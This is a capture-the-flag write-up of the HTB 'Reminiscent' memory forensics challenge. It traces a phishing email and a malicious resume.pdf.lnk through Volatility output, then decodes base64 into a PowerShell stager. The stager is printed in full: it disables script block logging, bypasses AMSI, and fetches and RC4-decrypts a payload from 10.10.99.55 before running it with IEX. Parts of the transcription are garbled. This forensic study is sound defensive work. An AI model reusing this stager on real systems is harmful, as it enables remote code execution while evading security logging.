

Erel Regev

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
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## Intro

Challenge Description by HTB:

Suspicious traffic was detected from a recruiter's virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.

I received the following files:



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## Files analysis

### Viewing Resume.eml

```
strings.txt x Resume.eml x imageinfo.txt x
1 Return-Path: <bloodworm@madlab.lcl>
2 Delivered-To: madlab.lcl-flounder@madlab.lcl
3 Received: (qmail 2609 invoked by uid 105); 3 Oct 2017 02:30:24 -0000
4 MIME-Version: 1.0
5 Content-Type: multipart/alternative;
6   boundary="=_a8ebc8b42c157d88c1096632aeae0559"
7 Date: Mon, 02 Oct 2017 22:30:24 -0400
8 From: Brian Loodworm <bloodworm@madlab.lcl>
9 To: flounder@madlab.lcl
10 Subject: Resume
11 Organization: HackTheBox
12 Message-ID: <add77ed2ac38c3ab639246956c25b2c2@madlab.lcl>
13 X-Sender: bloodworm@madlab.lcl
14 Received: from mail.madlab.lcl (HELO mail.madlab.lcl) (127.0.0.1)
15   by mail.madlab.lcl (qpsmtpd/0.96) with ESMTPSA (ECDHE-RSA-AES256-GCM-SHA384 encrypted); Mon, 02 Oct 2017 22:30:24 -0400
16
17 --=_a8ebc8b42c157d88c1096632aeae0559
18 Content-Transfer-Encoding: 7bit
19 Content-Type: text/plain; charset=US-ASCII
20
21 Hi Frank, someone told me you would be great to review my resume..
22 Could you have a look?
23
24 resume.zip [1]
25
26 Links:
27 -----
28 [1] http://10.10.99.55:8080/resume.zip
29 --=_a8ebc8b42c157d88c1096632aeae0559
30 Content-Transfer-Encoding: quoted-printable
31 Content-Type: text/html; charset=UTF-8
32
33 <html><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
34 =3DUTF-8" /></head><body style=3D"font-size: 10pt; font-family: Verdana,Gen=
35 eva,sans-serif">
36 <div class=3D"pre" style=3D"margin: 0; padding: 0; font-family: monospace">=
```

Seems to be an email to investigate regarding the challenge description. It seems to have an attached link to a file called resume.zip.

### Viewing imageinfo.txt

```
strings.txt x Resume.eml x imageinfo.txt x
1 Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
2 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
3 AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
4 AS Layer3 : FileAddressSpace (/home/infosec/dumps/mem_dumps/01/flounder-pc-memdump.elf)
5 PAE type : No PAE
6 DTB : 0x187000L
7 KDBG : 0xf800027fe0a0L
8 Number of Processors : 2
9 Image Type (Service Pack) : 1
10 KPCR for CPU 0 : 0xfffff800027ffd00L
11 KPCR for CPU 1 : 0xfffff80009eb000L
12 KUSER_SHARED_DATA : 0xfffff78000000000L
13 Image date and time : 2017-10-04 18:07:30 UTC+0000
14 Image local date and time : 2017-10-04 11:07:30 -0700
15
```

Is seems that the operating system of the given memory file is Windows 7, and this output is related to the volatility tool.

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## Memory Analysis


Validating the profile:

```
(kali㉿kali)-[~/.../HTB/Challenges/Reminiscent/reminiscent]
└─$ ./vol -f flounder-pc-memdump.elf imageinfo
Volatility Foundation Volatility Framework 2.5
INFO : volatility.debug : Determining profile based on KDBG search...
      Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
      AS Layer1 : AMD64PagedMemory (Kernel AS)
      AS Layer2 : OSXPmemELF (Unnamed AS)
      AS Layer3 : FileAddressSpace (/home/kali/Desktop/HTB/Challenges/Reminiscent/reminiscent/flounder-pc-memdump.elf)
      PAE type : No PAE
      DTB : 0x187000L
      KDBG : 0xf800027fe0a0L
      Number of Processors : 2
      Image Type (Service Pack) : 1
      KPCR for CPU 0 : 0xfffff800027ffd00L
      KPCR for CPU 1 : 0xfffff800009eb000L
      KUSER_SHARED_DATA : 0xfffff78000000000L
      Image date and time : 2017-10-04 18:07:30 UTC+0000
      Image local date and time : 2017-10-04 11:07:30 -0700
```

Using the filescan plugin command to look for resume files on the memory dump:

```
(kali㉿kali)-[~/.../HTB/Challenges/Reminiscent/reminiscent]
└─$ ./vol -f flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep -i resume
0x0000000001e1f6200 1 0 R--r-- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
0x0000000001e8feb70 1 1 R--rw- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
```

I have the files:



Used strings against them:

```
AZwBBAGMAQQBBAG4AQQBEAHMAQQBKAEFAQQBtAEERwB3AEFAWQBRAEIAbgBBAEQAMABBAEoAdwBCAEKAQQBGAFEAQQBRAGcAQgA3AEFAQwBRAEEAWAB3AEI
cQBBAEQABBFAIAdwBCAGYAQQBIAgSAQQBNAAEEAqgAxAEERgBJAEFAWAB3AEIATgBBAEQATQBBAGIAUQBBHAcAQQBIAEKAAQQBXAFEAQgBmAEFAQwBRAEEA
gBRAEEAbgBBAEQAcwBBAEoAQQBCEAUQQBHAEUAQQBKAEFAQgBCAEERAAwAEESgBBAEIAWABBAEUATQBBAEwAZwBCAEUAQQBHADgAQQBWAHcAQgBPAAEEAR
B3AEFAyG3AEIAaABBAEUAUQQBFAIAQQBCAEIAQQBGAFEAQQBRFAEAAQQBvAEFAQwBRAEEAVQB3AEIAbABBAEYASQBBAESAdwBBAGSAQQBIAFEAQBBLAFAEAQQ
3AEFAQwBRAEEAYQBRAEIAMgBBAEQAMABBAEoAQQBCEAGSAQQBHAEUAQQBWAEEFAQgBCAEERgBzAEFAATQBBAEAdQBBAEMANABBAEoAdwBCAGQAQQBEAHMAQQB
AEFAQgBFAEEARQBFAEEAZABBAEIAaABBAEQAMABBAEoAQQBCEAUQQBHAEUAQQBWAEEFAQgBoAEERgBzAEFAATgBBAEAdQBBAEMANABBAEoAQQBCEAUQQBF
EUAQQBKAEFAQgBoAEFAQwA0AEFAVABBAEIAbABBAECANABBAFIAdwBCAFUAQQBFAGcAQQBIAFEAQQA3AEFAQwAwAEFAUwBnAEIAUABBAEUaawBBFAQAZwBCA
IAQQBFAE0AQQBTAEEAQgBCAEASABJAEFAVwB3AEIAZABBAEYAMABBAESAQQBAG0AQQBDAEEAQQBKAEEAQgBTAEFAQwBBAEESgBBAEIAawBBAEcARQBBAG
AQQBCEIAQQBDAAEEAQBBLAEEAQBBRAEEARQBRAEEAVgBnAEFAcggBBAEUAUQBBAFMAdbBAHAHAQQBDAGSAQQBmAEFAQgBKAEERQBVAEEAVwBBAEAPQA=
,&fbM
,&fbM

(kali㉿kali)-[~/.../HTB/Challenges/Reminiscent/reminiscent]
└─$ strings file.None.0xfffffa80017dcc60.vacb
```

Looks encoded with base64.

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```
(kali@kali) [~/Desktop]
$ cat new.txt
p00w00r0sh00l0l0 -n00P0 -s0t0a0 -w0 10 -e0n0c0 J0A0B0H0A0H0I0A0b0
F0k0A0U0w0B0F0A0H0Q0A0d0A0B0J0A0E0A0R0w0B0z0A0C0A0P0Q0A0g0A0F0s0A0c0g0B0F0A0
Q0B0C0A0E0w0A0W0Q0A0u0A0E0c0A0R0Q0B000A0F0Q0A0e0Q0B0w0A0E0U0A0K0A0A0n0A0F0M0A0e0Q0
40A0Y0Q0B0n0A0G0U0A0b0Q0B0l0A0G040A0d0A0A0u0A0E0E0A0d0Q0B00A0G080A0b0Q0B0h0A0H0
B0s0A0H0M0A0J0w0A0p0A0C040A0I0g0B0H0A0E0U0A0d0A0B0G0A0E0k0A0R0Q0B0g0A0G0w0A0Z0A0A0
A0Z0A0B0H0A0H0I0A0b0w0B010A0H0A0A0U0A0B0v0A0G0w0A0a0Q0B0j0A0H0k0A0U0w0B0l0A0H0Q0
g0A0C0c0A0T0g0A0n0A0C0s0A0J0w0B0v0A0G040A0U0A0B010A0G0I0A0b0A0B0p0A0G0M0A0L0A0B0T0
L0g0B0H0A0E0U0A0V0A0B0W0A0G0E0A0b0A0B0V0A0G0U0A0K0A0A0k0A0G040A0d0Q0B0s0A0E0w0A0
A0F0A0A0T0w0B0s0A0F0k0A0Q0w0B050A0F0M0A0Z000B0U0A0F00A0a0Q0R00A0G0c0U0w0B0h0A0
```

Note that between the symbols there are letters and it is possible to see that the work powershell is written there. Lets try and clean the symbols.

The screenshot shows the Google Admin Toolbox Encode/Decode interface. The input field contains a Base64-encoded string. The 'Base64 Decode' option is selected. The output field displays the decoded PowerShell command:

```
powershell -nop -sta -w 1 -enc
JABHAIAbwBVAFAAUABPAEWaAQBDFAKUwBFAHQAdABJAE4ARwBzACAAPQAgAFsAcgBFfAE
YAXQAuAEUwBzAGUATQBCEAWWQAUaEeARQB0AFQAEQBwAEUAKAAnAFMAeQBzAHQAQZQBt
AC4ATQBhAG4AYQBnAGUAbQB1AG4AdAAUAEeAdQB0AG8ABQBhAHQAaQBvAG4ALgBVAHQaaQ
BsAHMAJwApAC4AIgBHAfEUdAFBAEAEkARQBgAGwAZA1AGcAJwBjAGfAYwB0AUZABHAIAB
1AGIABABpAGMALABTAHQAYQB0AGkAYwAnACKALgBHAEUAVABWAGEABVAGUAKAAKAG4AdQB
sAEwAKQAT7ACQARwBSAG8AdQBQAFaATwBSAEkAQwB5AFMAZQBwUAFQAAQBB0AGCAUw
BBACCAUwBjAHIAaQbWAhQAQgAnACsAJwBSAG8AYwBrAEwAbwBnAGCAaQBuaGCAJwBdAFsA
JwBfAG4AYQB1AGWAZQBTAghMACgBpAHAAdABCAcCAKwAnAGwAbwBjAGsATABVAGCAZwBpAG
4AZwAnAF0AIAA9ACAHAaA7ACQARwBSAG8AdQBQAFaATwBMAEKaQWbZAFMARQB0AFQAaQB
uAGCAUwBBACCAUwBjAHIAaQbWAhQAQgAnACsAJwBSAG8AYwBrAEwAbwBnAGCAaQBuaGCAJ
wBdAFsAJwBfAG4AYQB1AGWAZQBTAghMACgBpAHAAdABCAgWAbwBjAGsASQBuaHYAbwBjAGEA
```

Now it is possible to see that it's a powershell command that encoding using base64 (-enc flag). It seems that I received another base64 to decode.

I decoded the new base64 value:

```
$GroupPolicySettings = [rEF].AsSEMBLY.GetType('System.Management.Automation.Utils')."GetFIE"ld('cachedGroupPolicySetting
s', 'N'+onPublic,Static').GetValue($null);$GRouPPOLICYSeTTiNgS['ScriptB'+lockLogging']['EnableScriptB'+lockLogging'] =
0;$GRouPPOLICYSeTTiNgS['ScriptB'+lockLogging']['EnableScriptBlockInvocationLogging'] = 0;[Ref].AsSEMBLY.GetType('System
.Management.Automation.AmsiUtils')?{$_}%"$_.GetFIEld('amsiInitFailed','NonPublic,Static').SETValuE($Null,$True)};[SysTe
m.Net.ServicePointManager]::Expect100Continue=0;$WC=NEW-ObjEcT SYSTEM.NET.WebCLIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW6
4; Trident/7.0; rv:11.0) like Gecko';$WC.Headers.Add('User-Agent',$u);$WC.ProXY=[SysTeM.NET.WebRequEst]::DefaultWebPROXY;
$WC.ProXY.CREDeNTiaLS = [SYSTeM.NET.CreDeNTiaLCaChe]::DeFaulTNETwOrkCredentiALS;$K=[SYSTeM.Text.ENCODIng]::ASCIIEtBytEs
('E1gMgdfT@eoN>x9(12F7+bs0n4/S1Qrw');$R={$_}=$D,$K=$ArgS;$S=0..255;0..255)%{$_}=(($_+$S[$_]+K[$_%K.Count])%256);$S[$_]=$
S[$J];$S[$_];$D|%"{$I=($_+1)%256;$H=($_+$S[$I])%256;$S[$I];$S[$H]=$_-bxoR$S[(($_+$I)+$S[$H])%256]}";$wc.HEA
dErs.Add('Cookie',"session=McahuQVfz0yM6VB8fzV9t9jomo=");$ser='http://10.10.99.55:80';$t='/login/process.php';$flag='HTB
{$_j0G_y0uR_M3m0ry_$'};$Data=$WC.DoWNL0adDATA($Ser+$t);$tv=$daTa[0..3];$Data=$daTa[4...$Data.Length];-JOIN[CHAR[]](& $R $d
aT ($IV+$K))|IEX

(kali@kali) [~/./HTB/Challenges/Reminiscent/reminiscent]
$ echo "JABHAIAbwBVAFAAUABPAEWaAQBDFAKUwBFAHQAdABJAE4ARwBzACAAPQAgAFsAcgBFfAEYAXQAuAEUwBzAGUATQBCEAWWQAUaEeARQB0AFQ
AeQBwAEUAKAAnAFMAeQBzAHQAQZQBtAC4ATQBhAG4AYQBnAGUAbQB1AG4AdAAUAEeAdQB0AG8ABQBhAHQAaQBvAG4ALgBVAHQaaQBsAHMAJwApAC4AIgBHAfEU
dABGAeKARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAIAbwB1AHAUABVAGwAaQBjAHKAUwB1AHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AU
AB1AGIABABpAGMALABTAHQAYQB0AGkAYwAnACKALgBHAEUAVABWAGEABVAGUAKAAKAG4AdQB sAEwAKQAT7ACQARwBSAG8AdQBQAFaATwBSAEkAQwB5AFMAZQ
BUAFQAAQBB0AGCAUwBBACCAUwBjAHIAaQbWAhQAQgAnACsAJwBSAG8AYwBrAEwAbwBnAGCAaQBuaGCAJwBdAFsAJwBfAG4AYQB1AGWAZQBTAghMACgBpAHAAdAB
CACCAKwAnAGwAbwBjAGsATABVAGCAZwBpAG4AZwAnAF0AIAA9ACAHAaA7ACQARwBSAG8AdQBQAFaATwBMAEKaQWbZAFMARQB0AFQAaQBuaGCAUwBBACCAUwBj
AHIAaQbWAhQAQgAnACsAJwBSAG8AYwBrAEwAbwBnAGCAaQBuaGCAJwBdAFsAJwBfAG4AYQB1AGWAZQBTAghMACgBpAHAAdABCAgWAbwBjAGsASQBuaHYAbwBjAGEA
```

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```
.Management.Automation.Amst0t0cs }/?(($_)%( $_.GETf0l0( 'amst0t0cPatt0r', NonPublic,Static ).SETvAlUE($N0tL,$Tt0e));[System.Net.ServicePointManager]::Expect100Continue=0;$WC=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.Header.S.Add('User-Agent',$u);$wC.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wC.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$K=[System.Text.Encoding]::ASCII.GetBytes('E1gMGdft@eoN>x9{]2F7+bs0n4/S1Qrw');$R={ $D, $K=$ArgS; $S=0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[(($S[$I]+$S[$H])%256)]}};$wC.Headers.Add("Cookie" "session=MCahuQVfz0yM6VB8fzV9t9jomo=");$ser='http://10.10.99.55:80';$t='/login/process.php';$flag='HTB [ ]';$Data=$WC.DownloadData($SeR+$t);$iv=$daTA[0..3];$Data=$DaTa[4..$Data.Length];-JOIN[CHAR[]](& $R $Data ($iv+$N))/1EA
```

Flag found.

## Conclusion